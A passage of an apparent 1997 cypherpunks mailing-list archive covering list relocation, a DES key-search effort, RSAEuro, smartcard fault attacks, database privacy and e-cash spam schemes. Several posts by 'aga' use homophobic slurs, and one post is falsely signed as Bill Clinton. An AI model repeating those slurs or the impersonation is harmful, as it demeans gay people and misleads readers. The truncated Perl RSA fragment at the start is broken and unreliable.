published in computer > magazines i n the last few years. I know of Blowfish in DDJ, are > there cases of more mainstream computer mags like Byte publishing > crypto code (I know Byte did DES in 1977, I'm hoping for something a > bit more recent)?. Well this code (an implementation of RSA) appeared in UK Computer Shopper (largest readership computer mag in UK) by Charlie Stross: print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Date: Sat, 15 Feb 1997 18:42:11 -0800 From: Dale Thorn Dale sagely wrote: :Wine and cheese are the key. You hit that one on the head. I tried :those Mensa parties in Beverly Hills a few times. Oh what a kidder this Dale is. At Mensa party no less!! Whatta farce! Still love you fella. From aga at dhp.com Sun Feb 16 09:59:28 1997 From: aga at dhp.com (aga) Date: Sun, 16 Feb 1997 09:59:28 -0800 (PST) Subject: Gays are Pink Queers In-Reply-To: <19970215062538.27135.qmail@anon.lcs.mit.edu> Message-ID: On 15 Feb 1997, Against Moderation wrote: > Date: 15 Feb 1997 06:25:38 -0000 > From: Against Moderation > Reply-To: freedom-knights at jetcafe.org > To: freedom-knights at jetcafe.org > Cc: aga at dhp.com, cypherpunks at toad.com, cypherpunks at pgh.org, > ichudov at algebra.com, dlv at bwalk.dm.com > Subject: Re: Moderation experiment almost over; "put up or shut up" > > Dave Hayes writes: > > > Don't you get it? Real censorship issues do not arise until someone > > rocks the boat. It takes someone to rock the boat to make you aware > > of your own prejudices of that nature. If it takes attacking > > homosexuals and pissing them off enough to make them show their > > true colors and begin censorship...so be it. Why be civil when that > > civility serves to hide that which is ultimately against free speech? > > > > You'll find those of us who -truly- want free speech are extremely > > good at ignoring what we don't like. > > Perhaps I did not make myself clear. I never suggested Dr. Grubor's > views should be suppressed. Not only do I believe he has every right > to express them, I also believe (as I explained) that I think there is > value in inducing censorship as he has, so as to get people's > censorious tendencies out in the open where they can be fought. > > However, Dr. Grubor is no advocate of free speech (though I'm sure he > thinks he is). If Dr. Grubor had his way, he would severely restrict > the rights of gay people to express themselves on Usenet. No I would not. I do not believe in moderated groups, except for comp and sci gays can say anything that they want. Advocates > of free speech must truly tolerate all speech, even that which they > find strongly unpleasant or disturbing. > But I never said I found faggots disturbing. Quite the contrary. Faggots are excellent at what they do, blow jobs, so let's not mix up apples and oranges. > My point was therefore that Dr. Grubor would do better to say > "Exterminate all faggots" than "Exterminate all faggots in the name of > free speech," Nobody is talking about "exterminating" anybody. We just want to remove the gays from power, so they have more time to suck cock and do whatever else that they do best, which does not include usenet.admin. and that those of us who truly support freedom of speech > would do well to distance ourselves from Dr. Grubor, while still fully > supporting his right to express his opinions. > Freedom of Speech means that we eliminate moderated newsgroups and homosexual cliques being in power around here. Faggots are mostly PINK! Dobbs is a straight dude, and so was KIBO. From aga at dhp.com Sun Feb 16 10:01:02 1997 From: aga at dhp.com (aga) Date: Sun, 16 Feb 1997 10:01:02 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702161801.KAA24479@toad.com> On Sat, 15 Feb 1997, Dale Thorn wrote: > Date: Sat, 15 Feb 1997 18:21:07 -0800 > From: Dale Thorn > Reply-To: freedom-knights at jetcafe.org > To: freedom-knights at jetcafe.org > Cc: ichudov at algebra.com, dave at kachina.jetcafe.org, cypherpunks at toad.com > Subject: Re: Moderation experiment almost over; "put up or shut up" > > Kent Crispin wrote: > > Dale Thorn allegedly said: > > > If I understood the last several hundred messages correctly, they have > > > tried to make the point that the cypherpunks mailing list (unedited) > > > was more ideal than a newsgroup. If this is what Dave is offering, > > > I'm surprised if more people don't jump on it. Then again, they > > > took their good ol' time jumping onto cypherpunks-unedited. > > > Dave is offering a single mailing list, which, while I am sure Dave is > > a great person, still represents a single point of control and a > > single point of failure. A distributed mailing list has a potential > > for being much more robust, and for supporting a wide range of > > viewpoints. Furthermore a distributed mailing list is an interesting > > minor technical problem, and a good solution could have wide > > applicability. > > So I think that people would like to get the distributed list going... > > I hope this doesn't duplicate the earlier message - if someone were > tracking all this activity and kept the lists informed about what > was available where - and particularly if the downloading could be > automatic as in the subscription lists - that would be ideal. > > I wanted to spend some time on alt.cypherpunks, but I haven't got > thru the subscription mail for the last few days yet. If there's > a scheme that works better than just ad-hoc looking, I'd sure like > to know. > You mean there is an alt.cypherpunks mailing list? That is not on my server. I have mail.cypherpunks though, and I thought that was the usenet newsgroup for cypherpunks. let's see what dejanews says about this one. How about every posting to alt.underground for the time being, until we get this matter settled? From paul at fatmans.demon.co.uk Sun Feb 16 10:08:27 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Sun, 16 Feb 1997 10:08:27 -0800 (PST) Subject: (fwd) DES challenge organisation Message-ID: <856115767.1126707.0@fatmans.demon.co.uk> > How the hell do I get OFF this list ?? Say something herr Gilmore doesn`t like and you`ll be off the list in no time. Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From ths at rz.tu-ilmenau.de Sun Feb 16 10:12:10 1997 From: ths at rz.tu-ilmenau.de (Thomas S.) Date: Sun, 16 Feb 1997 10:12:10 -0800 (PST) Subject: (fwd) DES challenge organisation Message-ID: <199702161812.KAA24934@toad.com> Hi! (wow, what a distribution. I should mention that des-challenge is down this weekend, so the response may not be as expected.) >>>>> "Timothy" == Timothy C May writes: Timothy> At 11:02 PM +0000 2/15/97, Adam Back wrote: >> Thomas S writes: >>> [...] >>> >>> 5. The prize money will be split equally between Gutenberg and >>> EFF. There is a possibility of using part of it for stickers >>> or something similar, but don't count on it. >> Not a good idea. >> >> How can this be enforced? The RSADSI DES challenge is open to >> all comers, and how do you prove that someone who finds the key >> found it through this group effort? The client reports the key to the server, not to the user (very simple, and very simple ways to get around of course). In a nutshell: we can't enforce it, at least I can't see a way to do so. We certainly can't keep people from doing their own "treasure hunt". ... Timothy> A 2-4x factor is significant, and may warrant a Timothy> coordinated search. However, the various problems Timothy> implicit in coordinated searches are factors, too. Timothy> Also, an uncoordinated search solves the "prize" problem, Timothy> as whomever finds the key makes the contact with RSADSI. Indeed--that's what we try to avoid. Our project is not a race for money, it is a demonstration with a political impact. The main point in favour of a coordinated search is the availability of progress reports. Nobody can argue that the key was found by chance--as there is exact data about performance and the expected maximum duration for the search. Timothy> One of the problems with a coordinated search, if the Timothy> remaining keyspace to be doled out is publically Timothy> announced, is that as the keyspace is searched and a key Timothy> _not_ found, the remaining keyspace is increasingly more Timothy> tempting for "independent searchers" to search. Sort of Timothy> the way the odds on some lotteries actually become Timothy> "acceptable" as the lottery pot grows. The organizer of Timothy> the coordinated search must then, I surmise, keep the Timothy> assignments secret and dole out keyspace securely. This is a technical problem which is discussed at the moment. The keyspace will not be publically announced (and it wasn't during the last project). Thomas -- OOOO, OOOOOOOO, |, ths at rz.tu-ilmenau.de OO, OO, O, O, |, http://www.rz.tu-ilmenau.de/~ths/ O, O, O, |, ______ __ ___ O, O--O, O, O, |, | (_ |-|-` O, O, O, |, |homas __)te| |en OO, OO, O, O, |, OOOO, OOOOOOOO, |, not to be forwarded without permission From rsaeuro at sourcery.demon.co.uk Sun Feb 16 10:16:17 1997 From: rsaeuro at sourcery.demon.co.uk (RSAEuro General) Date: Sun, 16 Feb 1997 10:16:17 -0800 (PST) Subject: ANNOUNCE:- RSAEuro Message-ID: <33134fe4.13867320@sourcery> ANNOUNCE:- RSAEuro Version 1.04 (Internet) and 1.10 (Commercial) ================================================================ What is RSAEuro? ---------------- RSAEuro is a cryptographic toolkit providing various functions for the use of digital signatures, data encryption and supporting areas (PEM encoding, random number generation etc). To aid compatibility with existing software, RSAEuro is call-compatible with RSADSI's "RSAREF(tm)" toolkit. RSAEuro allows non-US residents to make use of much of the cryptographic software previously only (legally) available in the US. RSAEuro contains support for the following: * RSA encryption, decryption and key generation. Compatible with 'RSA Laboratories' Public-Key Cryptography Standard (PKCS) #1. * Generation and verification of message digests using MD2, MD4, MD5 and SHS (SHS currently not implemented in higher-level functions to maintain compatibility with PKCS). * DES encryption and decryption using CBC (1, 2 or 3 keys using Encrypt-Decrypt-Encrypt) and DESX(tm), RSADSI's secure DES enhancement. Blowfish and RRC.2 encryption and decryption using CBC (available in commercial versions only). * Diffie-Hellman key agreement as defined in PKCS #3. * PEM support support for RFC 1421 encoded ASCII data with all main functions. * Key routines implemented in assembler for speed (80386 and 680x0 currently supported). * Much improved library documentation with code samples. International Use ----------------- IMPORTANT NOTICE: Please do not distribute or use this software in the US it is 'illegal' to use this toolkit in the US, as RSADSI and Cylink hold patents relating to public-key cryptography. If you are a US resident, please use the RSAREF toolkit instead. On The Web ---------- RSAEuro can now be found at http://www.sourcery.demon.co.uk/RSAEuro.html Author Details -------------- With comments and suggestions, please address them to Stephen Kapp, at 'rsaeuro at sourcery.demon.co.uk', for documentation comments suggestions please address them to Nick Barron, at 'nikb at sourcery.demon.co.uk' ---------------------------------------------------------------------------- RSAEURO: rsaeuro at sourcery.demon.co.uk RSAEURO Bugs: rsaeuro-bugs at sourcery.demon.co.uk Tel: +44 (0) 468 286034 Http: http://www.sourcery.demon.co.uk/rsaann.html RSAEURO - Copyright (c) J.S.A.Kapp 1994-1996. ---------------------------------------------------------------------------- From jya at pipeline.com Sun Feb 16 10:35:42 1997 From: jya at pipeline.com (John Young) Date: Sun, 16 Feb 1997 10:35:42 -0800 (PST) Subject: DFA Message-ID: <1.5.4.32.19970216182934.006e00b4@pop.pipeline.com> Paul Bell wrote: >does anyone know what has happened to DFA, and the people who >just a few months ago were publishing such encouraging results? There seems be sustained investigation of DFA, offensive and defensive, by Biham and Shamir, by Anderson and Kuhn, by the Bellcore team, by Quisquater and others. However, the smartcard manufacturers appear to have a role in dampening publicity about the ongoing research, or at least diminishing the claims of effectiveness of DFA. Carol Francher, of Motorola, for example, writes in February IEEE Spectrum: Technology is a wonderful thing but criminals, too, can use it as new equipment and techniques become available or less expensive the barriers to cracking a system may weaken. Recently Bellcore announced a paper, "Cryptanalysis in the presence of hardware faults" (available at www.bellcore.com), that proposed a theoretical method for breaking an asymmetric encryption code once a computer (or a smartcard microcontroller) had been forced into faulty behavior. The Smart Card Forum, a multi-industry membership organization headquartered in Tampa, Fla., has stated that it does not regard this approach as a real-world risk, since in smartcard applications more than one technique is used to protect the security of the entire system. But the Bellcore methodology for breaking algorithms -- as well as similar theoretical approaches, such as the one taken by two Israeli researchers, Eli Biham and Adi Shamir -- highlights the need to analyze and evolve the security of any system continually. -- "In your pocket: smartcards." Several of the DFA-type researchers have commented on the smartcard industry's reluctance to publicize security weaknesses when the push is on to increase consumer trust and use; see, for example, Anderson and Kuhn at: http://www.cl.cam.ac.uk/users/rja14/tamper.html Quisquater and the SG group also note the reluctance of smartcard mass-marketers to own up to security shortcomings of which their own engineers know and fret. Meanwhile, the DFA proponents and opponents are eagerly absorbing the continuing DFA-relatged reports, quietly watching one another, and both sides eying the booming smartcard market for lucrative rewards, as Ms. Francher suggests: licit and il. From haystack at holy.cow.net Sun Feb 16 10:48:42 1997 From: haystack at holy.cow.net (Bovine Remailer) Date: Sun, 16 Feb 1997 10:48:42 -0800 (PST) Subject: No Subject Message-ID: <199702161829.NAA06744@holy.cow.net> Timothy May must have been sharing needles with a rabid hedgehog. o o Timothy May o \_/ From ichudov at algebra.com Sun Feb 16 11:27:05 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Sun, 16 Feb 1997 11:27:05 -0800 (PST) Subject: Thanks to John Gilmore for running cypherpunks mailing list Message-ID: <199702161923.NAA29288@manifold.algebra.com> Hi, cypherpunks at toad.com goes down in four days. I would like to thank John Gilmore for all his efforts that he spent to run the list. Administering a huge mailing list like cypherpunks is a tough job, requiring a lot of dedication, time and patience. John, along with other cypherpunks, created a unique online community that generated many valuable ideas. This community helped a great deal to increase crypto awareness of the masses. I personally joined cypherpunks for very arkane reasons, but later found out a lot of useful information. The moderation experiment failed by many reasons, but the last month should not distract us from what John did over last several years. Again, thanks to John for his work. - Igor. From ichudov at algebra.com Sun Feb 16 11:35:21 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Sun, 16 Feb 1997 11:35:21 -0800 (PST) Subject: Proposed info file Message-ID: <199702161929.NAA29420@manifold.algebra.com> Hi, The text below is what I wrote for cypherpunks at algebra.com to be sent to new subscribers. Feel free to criticize. - Igor. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ About cypherpunks mailing lists ------------------------------- * * * ATTENTION: PLEASE SAVE THIS MESSAGE IN A MAIL FOLDER!!! IT WILL BE * * * HELPFUL FOR YOU WHEN YOU WANT TO UNSUBSCRIBE FROM cypherpunks MAILING * * * LIST. * * * * * * DO NOT JUST DELETE THIS MESSAGE. I. Administrivia (please read, boring though it may be) The cypherpunks list cypherpunks at algebra.com is one of the cypherpunks mailing lists discussing cryptography, privacy, and social issues relating to them. These lists are connected to each other in such a way that all messages appear on all of these lists. All of these lists are high-volume mailing lists. There are several reasons for existence of multiple mailing lists that are inter-subscribed. The main reason is the large number of subscribers and limited bandwidth of each of the participating list nodes -- each node can take on only that many users. Most people will not want to subscribe to more than one of these lists. If you don't know how to do something, like unsubscribe, send mail to majordomo at algebra.com and the software robot which answers that address will send you back instructions on how to do what you want. If you don't know the majordomo syntax, an empty message to this address will get you a help file, as will a command 'help' in the body. Even with all this automated help, you may still encounter problems. If you get really stuck, please feel free to contact me directly at the address I use for mailing list management: cypherpunks-request at algebra.com Please use this address for all mailing list management issues. Hint: if you try to unsubscribe yourself from a different account than you signed up for, it likely won't work. Log back into your old account and try again. If you no longer have access to that account, mail me at the list management address above. Also, please realize that there will be some cypherpunks messages "in transit" to you at the time you unsubscribe. If you get a response that says you are unsubscribed, but the messages keep coming, wait a day and they should stop. Do not mail to the whole list asking to be removed. It's rude ans stupid. To post to the whole list, send mail to cypherpunks at algebra.com If your mail bounces repeatedly, you will be removed from the list. Nothing personal, but I have to look at all the bounce messages. There is no digest version available. There is a meta list which discusses the architecture and other issues of the distributed cypherpunks lists. It is not intended to be used for crypto discussions. if you want to be added or removed to the metadiscussion list, send a message "subscribe cypherpunks-hosts" to majordomo at algebra.com. II. About cypherpunks The cypherpunks list is not designed for beginners, although they are welcome. If you are totally new to crypto, please get and read the crypto FAQ referenced below. This document is a good introduction, although not short. Crypto is a subtle field and a good understanding will not come without some study. Please, as a courtesy to all, do some reading to make sure that your question is not already frequently asked. There are other forums to use on the subject of cryptography. The Usenet group sci.crypt deals with technical cryptography; cypherpunks deals with technical details but slants the discussion toward their social implications. The Usenet group talk.politics.crypto, as is says, is for political theorizing, and cypherpunks gets its share of that, but cypherpunks is all pro-crypto; the debates on this list are about how to best get crypto out there. The Usenet group alt.security.pgp is a pgp-specific group, and questions about pgp as such are likely better asked there than here. Ditto for alt.security.ripem. alt.cypherpunks is indended as a mirror USENET forum for this mailing list. III. Posting Policy. Please note that some members of cypherpunks mailing list may surprise you as very rude people. You may see views that sound very offensive to you. You will also see many articles that make no sense to you, are very stupid, or appear to be commercial advertisements. Consider such situation to be a price of YOUR freedom to post anything you want. Remember that speech that pleases everyone needs no protection: it is the offensive speech that is most often assaulted and thus needs to be protected. Also, speech that you find silly and distasteful may seem to be of great use for others. If you feel that some poster's articles are not useful and offensive to you, you can set up your mail reading software to ignore all articles coming from that person. Ignoring them silently has shown to be the best way of dealing with them. It will save you a lot of your own time. Even though you are free do write anything, please consider not following up to their posts with suggestions to shut them up. It only decreases usefulness of this mailing list. Eudora for Windows is known for its mail filtering capability. Procmail is a tool of choice for Unix users who want to filter their articles. Please read the documentation for these programs to find out how to set them to filter and delete unwanted messages. None of the above precludes the administrator of this mailing list to use tools protecting his hardware and bandwidth from denial of service attacks. If someone maliciously mailbombs cypherpunks mailing list, the mail bombs may be silently ignored and not passed on to the list. IMPORTANT: the list owner does not monitor the content of the messages appearing here. I disclaim any liability whatsoever for the content of articles on cypherpunks at algebra.com. If you have a problem with any materials posted here, please contact the poster to resolve them. Your use of the resources of this list constitutes an agreement with these terms. You have been warned. IV. Resources. A. The sci.crypt FAQ anonymous ftp to rtfm.mit.edu:/pub/usenet-by-group/sci.crypt The cryptography FAQ is good online intro to crypto. Very much worth reading. Last I looked, it was in ten parts. B. cypherpunks ftp site anonymous ftp to ftp.csua.berkeley.edu:/pub/cypherpunks This site contains code, information, rants, and other miscellany. There is a glossary there that all new members should download and read. Also recommended for all users are Hal Finney's instructions on how to use the anonymous remailer system; the remailer sources are there for the perl-literate. C. Bruce Schneier's _Applied Cryptography_, published by Wiley This is required reading for any serious technical cypherpunk (and there are no non-technical cypherpunks). An excellent overview of the field, it describes many of the basic algorithms and protocols with their mathematical descriptions. Some of the stuff at the edges of the scope of the book is a little incomplete, so short descriptions in here should lead to library research for the latest papers, or to the list for the current thinking. All in all, a solid and valuable book. It's even got the cypherpunks-request address. Enjoy and deploy. ----------------------------------------------------------------------------- Cypherpunks assume privacy is a good thing and wish there were more of it. Cypherpunks acknowledge that those who want privacy must create it for themselves and not expect governments, corporations, or other large, faceless organizations to grant them privacy out of beneficence. Cypherpunks know that people have been creating their own privacy for centuries with whispers, envelopes, closed doors, and couriers. Cypherpunks do not seek to prevent other people from speaking about their experiences or their opinions. The most important means to the defense of privacy is encryption. To encrypt is to indicate the desire for privacy. But to encrypt with weak cryptography is to indicate not too much desire for privacy. Cypherpunks hope that all people desiring privacy will learn how best to defend it. Cypherpunks are therefore devoted to cryptography. Cypherpunks wish to learn about it, to teach it, to implement it, and to make more of it. Cypherpunks know that cryptographic protocols make social structures. Cypherpunks know how to attack a system and how to defend it. Cypherpunks know just how hard it is to make good cryptosystems. Cypherpunks love to practice. They love to play with public key cryptography. They love to play with anonymous and pseudonymous mail forwarding and delivery. They love to play with DC-nets. They love to play with secure communications of all kinds. Cypherpunks write code. They know that someone has to write code to defend privacy, and since it's their privacy, they're going to write it. Cypherpunks publish their code so that their fellow cypherpunks may practice and play with it. Cypherpunks realize that security is not built in a day and are patient with incremental progress. Cypherpunks don't care if you don't like the software they write. Cypherpunks know that software can't be destroyed. Cypherpunks know that a widely dispersed system can't be shut down. Cypherpunks will make the networks safe for privacy. [Last updated Sun Feb 16 13:10:56 CST 1997 ichudov at algebra.com] [Adopted from the original version by John Gilmore and Eric Hughes] From toto at sk.sympatico.ca Sun Feb 16 11:46:52 1997 From: toto at sk.sympatico.ca (Toto) Date: Sun, 16 Feb 1997 11:46:52 -0800 (PST) Subject: 'Jim Beam' me up, Scotty! Message-ID: <330779D1.312F@sk.sympatico.ca> scribve cypherpunks-thenextgeneration "Dr. Spook" <6UALDV8 at cyberspace.9> From rah at shipwright.com Sun Feb 16 11:57:15 1997 From: rah at shipwright.com (Robert Hettinga) Date: Sun, 16 Feb 1997 11:57:15 -0800 (PST) Subject: *Really* Shameless, Gratuitous, FC97 DFA Hucksterism (Was Re: DFA) In-Reply-To: <1.5.4.32.19970216182934.006e00b4@pop.pipeline.com> Message-ID: At 1:29 pm -0500 on 2/16/97, John Young wrote: > Paul Bell wrote: > >does anyone know what has happened to DFA, and the people who > >just a few months ago were publishing such encouraging results? > > There seems be sustained investigation of DFA, offensive and defensive, > by Biham and Shamir, by Anderson and Kuhn, by the Bellcore team, by > Quisquater and others. > > However, the smartcard manufacturers appear to have a role in dampening > publicity about the ongoing research, or at least diminishing the claims of > effectiveness of DFA. At FC97 ;-), we have the following paper at 10:45 on Tuesday February 22nd: > Fault Induction Attacks, Tamper Resistance, and Hostile Reverse > Engineering in Perspective > David P. Maher (AT&T Labs--Research, Murray Hill, NJ, USA) I'm not sure whether which side of the fight this paper will be on, but it could be easy to speculate from the title. :-). On the other side of the coin, we invited Shamir to come talk about his DFA work, but eventually it turned out that he couldn't make the trip. Maybe next year. We *did* get Ron Rivest, though. (Shameless plug: Our *other* invited speakers are Simon L. Lelieveldt of the Dutch central bank, who'll talk about the security of electronic money, and Peter Wayner, the author of "Digital Cash", who'll talk about money laundering.) (*Really* shameless hucksterism: Since AA *didn't* strike, they're offering mucho cheapseat deals to places like Anguilla and St. Maarten, a short ferry ride away, even if you make your reservations on really short notice. Like, maybe to go to FC97? Nudge, Nudge. We can also get you *cheap* hotel rooms when you get there... Wink, wink, wink.) Meanwhile, the FC97 workshop (which runs the week prior to the conference itself) starts on Monday, and, having weathered the American Airlines non-strike, Ian Goldberg, Adam Shostack and Gary Howland are now all down in Anguilla getting things set up. I don't think people can get to *that* in time, but, hey, you could *try*, I suppose. Better get packing, though, 'cause time is running out. The workshop starts at 09:00 tomorrow. ;-). Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From stewarts at ix.netcom.com Sun Feb 16 12:00:07 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Sun, 16 Feb 1997 12:00:07 -0800 (PST) Subject: Query on "secure databases" Message-ID: <3.0.1.32.19970215105725.006383e0@popd.ix.netcom.com> Hi, Peter - here's my previous posting, with an addendum, Cc: cypherpunks At 04:43 PM 2/11/97 -0500, Peter Swire wrote: > Can you point me to anything I can read on "secure databases"? I >hadn't hit that term before. I am curious to what extent they are secure >due to cryptographic approaches, or to what extent you rely on other >mechanisms for keeping out unauthorized users. It's been a long time since I've looked much into it, since I was getting out of phone-company-defense-contractor mode at the time the field was developing. I think the NCSC Rainbow Book that deals with secure databases is the Purple Book, though it might be the Gray. Oracle and/or Sybase have done some work trying to do databases at the B1 or B2 level, but I don't know details. I'll talk about secure databases a bit, but for the real world there's more useful stuff that isn't related to them. =================== Begin "Secure Database" Section ============== At the time, the Orange Book (security for standalone computers) was well-understood, though there weren't really any systems above B2 level, and the Red Book was written, but nobody really had a clue how to implement multi-level machines on a multi-level LAN, though you could use encrypting Ethernet cards to get single-level machines of different levels on the same LAN, if they were all administered by the same group of people (so user-IDs and security levels worked across the entire system.) At the lower security levels, Orange Book techniques mainly involve removing bugs and adding accounting features. At the higher levels, the key is to come up with a good mathematical/logical model of interactions in your computer system, and then design a computer system that only does the things permitted by the model and prove it does that. Some of these systems use cryptographic techniques, including some of the capability-based systems - see Bill Frantz's KeyKOS work, which he's referred to on Cypherpunks occasionally. The objective is to have databases that can be accessed by multiple users with different sets of security permissions. In the military vernacular, this mainly means having UNCLASSIFIED, CONFIDENTIAL, SECRET, and maybe TOP SECRET data in the database, where not all users are cleared to the highest security level, and maybe projects X, Y, and Z, where users of project X may not have a need to know for project Y, etc. The easy problems are probably solved by now - either you do a good job of verifying the design and bug-free-ness of your database software so you can be sure that each request includes, and obeys, security levels, or you use crypto to encrypt the data items for each security level (e.g. everybody with a SECRET or PROJECT Z clearance shares a key for that data, which isn't really ideal for non-small groups of people, the database just tries to do a good job, and you only do operations in the database that make sense when the data is encrypted, though that's annoyingly restrictive for many applications.) The sticky problems are aggregation-related. It may be ok if an uncleared person knows that military base A has missile types 1, 3, and 5, and if the uncleared person knows where all your military bases are. But is it ok if the uncleared person knows about _all_ the missiles at _all_ the bases, and can tell that nobody's using Type 2 missiles any more, and that all the Type 4 missiles got moved to New Jersey last week? =============== End "Secure Database" section ================= =============== Begin "Real-World and Crypto" section ========= For the average person, though, the simple military models aren't really useful. You really care more about groups of people, though the multi-level stuff is sometimes a good way to keep machines from being hacked. But the real problem is that computers are very good at correlating information - if two different companies know your Social Security Number, and they share their data with each other (maybe for a price), then they can all tie together everything they each know about you. And there's no way to stop it, except by limiting the information you give people (which limits the transactions they'll do with you), or contractually limiting what they can do with it (good luck), or using multiple identities - and even then, computers are often good at guessing that the John Doe at 1234 Main Street is the related to Jane Smith at 1234 Main Street, and maybe the foreign car parts Jane bought on her American Express are for the Porsche registered to John, so there's a junk-mail opportunity. There's really only one technology that lets you avoid this, which is crypto and its relatives - though you still have to get people you use business with to use it, which is an uphill game. Some of the fundamental work on this is David Chaum's papers on Credentials without Identity (or something about like that, from ~1985.) For instance, you can have a voter registration number that's cryptographically signed by the voting bureau, but uses blinded signatures so they can't correlate the known good unique number with the Peter Swire who walked in and showed a picture ID one day. A driver's license smartcard could keep a pointer to your driving records, but wouldn't give your True Name, and would only show a cop that the person whose picture is on the front is a Licensed Driver, and maybe could demonstrate that the bearer knows the card's PIN. One big issue is that the government is pushing banks to demand SSNs, and requiring employers to demand SSNs (makes them easy Employee IDs), and pushing medical insurers and providers to use SSNs (makes it easy to collect Medicare data.) You can gain a lot of privacy just by having employers use their own employee-ID numbering system, so the travel agent subcontracting to Corporate Travel doesn't need your SSN on every form they fill out. But suppose the Social Security Administration and IRS issued you a bunch of separate numbers, that were either related using a cryptographic key, or just randomly picked and kept in a big database (maybe pointing to your old SSN), so you could give everybody who needs a Tax ID a different number, and only you and the IRS could correlate them. (To some extent, you can do this yourself by creating lots of companies, but it's a real pain and costs a certain amount of money.) =============== addendum ===================== Of course, for many transactions, the way to reduce the privacy problems is to use bearer certificates rather than book-entry approaches - pay cash, or digicash, rather than credit cards, use on-line anonymous delivery of bits, or picking up stuff in person, rather than mailing stuff to a snail address, etc. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From roach_s at alph.swosu.edu Sun Feb 16 12:02:40 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Sun, 16 Feb 1997 12:02:40 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 Message-ID: <199702162002.MAA28869@toad.com> At 04:45 PM 2/15/97 -0600, Igor Chudov wrote: >Roy M. Silvernail wrote: ... >> Or that the money wasn't there in the first place (absent a trusted >> signature system), or the key doesn't exist, or the wrong key is >> offered, or the sender put the same e-dollar on all 60000 mails sie >> sent and it's already been redeemed. > >Well, if the trusted party performs the encryption by both recipient's >public key and the "retrieval key", the problem that you mention can >be avoided. Yeah. I as a spam artist send the "proof" message through the e-cash verification center with the Send To: field returning it to a mail exploder. Each receipient gets the same dollar. This assumes that the To: field is not hashed into the verification signature, and that the verification works like a glorified remailer. (cash added on a separate channel). From president at whitehouse.gov Sun Feb 16 12:07:05 1997 From: president at whitehouse.gov (Bill Clinton) Date: Sun, 16 Feb 1997 12:07:05 -0800 (PST) Subject: We're in Anguilla! Comon down!!! Message-ID: My fellow cypherpunks, I wanted to let you all know, we are having a great time, building a router to the 21st Century, down here in sunny Anguilla. Al and I will be wiring Anguilla's great high school for the internet. Afterwards, we'll meet with some longtime supporters of the democratic party for a beer. Spaces at the conference are still available, I didn't let those folks at American strike, so you have no excuses to be anywhere else next week. Willy Citizen Unit 429-92-9947 From ichudov at algebra.com Sun Feb 16 12:11:13 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Sun, 16 Feb 1997 12:11:13 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 In-Reply-To: <199702161959.OAA00144@www.video-collage.com> Message-ID: <199702162007.OAA29812@manifold.algebra.com> Sean Roach wrote: > > At 04:45 PM 2/15/97 -0600, Igor Chudov wrote: > >Roy M. Silvernail wrote: > ... > >> Or that the money wasn't there in the first place (absent a trusted > >> signature system), or the key doesn't exist, or the wrong key is > >> offered, or the sender put the same e-dollar on all 60000 mails sie > >> sent and it's already been redeemed. > > > >Well, if the trusted party performs the encryption by both recipient's > >public key and the "retrieval key", the problem that you mention can > >be avoided. > Yeah. I as a spam artist send the "proof" message through the e-cash > verification center with the Send To: field returning it to a mail exploder. > Each receipient gets the same dollar. > This assumes that the To: field is not hashed into the verification > signature, and that the verification works like a glorified remailer. (cash > added on a separate channel). > Sean, No, it works the other way. The verification center gets $1000, creates 1000 $1 coins, signs them and encrypts each with the given recipients' public keys. The spammers gets these signed and encrypted coins, may superencrypt them and sends them to the recipients. As long as the trusted party is honest, there is no way to cheat. - Igor. From gen2600 at aracnet.com Sun Feb 16 12:23:25 1997 From: gen2600 at aracnet.com (Genocide) Date: Sun, 16 Feb 1997 12:23:25 -0800 (PST) Subject: Questions about Naughty Robot (fwd) Message-ID: I got this message (on a system that I am webmaster on) regarding something that sounded so stupid it made me chuckle...Naughty Robot...I have enclosed the message below. If any of you have any idea what this user is talking about, any info would be appreciated. Personally it sounds like another "GoodTimes Virus" again... Genocide Head of the Genocide2600 Group ============================================================================ **Coming soon! www.Genocide2600.com! ____________________ *---===| |===---* *---===| Genocide |===---* "Courage is not defined by those who *---===| 2600 |===---* fought and did not fall, but by those *---===|__________________|===---* who fought, fell, and and rose again." Email: gen2600 at aracnet.com Web: http://www.aracnet.com/~gen2600 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ It is by caffeine alone that I set my mind in motion. It is by the Mountain Dew that the thoughts acquire speed, the lips acquire stains, the stains become a warning. It is by caffeine alone that I set my mind in motion. ================================================================================ Date: Sun, 16 Feb 1997 10:30:37 -0800 (PST) Subject: Re: Questions about Naughty Robot Resent-Date: Sun, 16 Feb 1997 12:10:54 -0800 (PST) >> Don't wanna bug ya too much, but I was wondering if you have ever heard >> of Naughty Robot, and whether or not if it is a hoax or Real? >> >> I had a customer in Tennesee who got an E-Mail saying that Naughty Robot >> has infected your host computer and consider all your credit cards >> stolen. >> >> I think it's a hoax, but the Admins at VR-NET Cafe say that they have >> been hit with it and say that it's a script that does hack into the >> IPS's server and sits back and watches the users browse the web and 